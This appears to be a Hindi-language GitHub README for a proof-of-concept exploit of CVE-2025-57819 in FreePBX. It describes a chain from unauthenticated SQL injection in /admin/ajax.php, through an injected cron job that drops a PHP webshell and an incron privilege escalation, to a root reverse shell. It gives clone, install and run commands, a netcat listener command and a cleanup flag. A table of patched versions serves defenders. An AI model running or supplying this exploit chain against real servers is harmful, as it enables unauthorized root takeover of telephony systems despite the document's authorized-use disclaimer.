CVE-2025-57819 — FreePBX SQLi → RCE → रूट

CVE-2025-57819 के लिए पूर्ण-श्रृंखला PoC। FreePBX के एंडपॉइंट मॉड्यूल में अप्रमाणित त्रुटि-आधारित SQL इंजेक्शन, क्रॉन जॉब इंजेक्शन और इनक्रोन विशेषाधिकार वृद्धि के माध्यम से रूट शेल में बदल जाता है।

केवल अधिकृत परीक्षण और अनुसंधान के लिए। उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप मालिक नहीं हैं।

यह क्या करता है

SQLi (EXTRACTVALUE) → INSERT cron job → webshell drop → incron trigger → root shell

/admin/ajax.php पर त्रुटि-आधारित इंजेक्शन के माध्यम से DB जानकारी निकालता है
एक क्रॉन जॉब इंजेक्ट करता है जो वेब रूट में एक PHP वेबशेल लिखता है
क्रॉन फायर होने की प्रतीक्षा करता है (~60s), asterisk के रूप में RCE की पुष्टि करता है
एक इनक्रोन ट्रिगर फ़ाइल बनाता है जो रूट के रूप में fwconsole हुक को फायर करता है
आपके लिसनर पर रिवर्स शेल पकड़ता है

सेटअप

git clone https://github.com/ozcanpng/CVE-2025-57819-FreePBX-RCE2Root
cd CVE-2025-57819-FreePBX-RCE2Root
pip install -r requirements.txt

उपयोग

python3 CVE-2025-57819.py <target> <lhost> <lport> [--cleanup]

पहले एक लिसनर शुरू करें:

nc -lvnp 9999

फिर चलाएँ:

python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999

--cleanup शोषण के बाद वेबशेल और क्रॉन जॉब को हटा देता है।

प्रभावित

FreePBX जिसमें endpoint मॉड्यूल स्थापित है। /admin/ajax.php में brand पैरामीटर SQL क्वेरी में असंसोधित रूप से पारित किया जाता है।

FreePBX	पैच किया गया संस्करण
15.x	`15.0.66`
16.x	`16.0.89`
17.x	`17.0.3`

संदर्भ

लेखक

ozcanpng — github.com/ozcanpng — ozcanpng.dev

सबसे लोकप्रिय

CVE-2025-57819-FreePBX-RCE2Root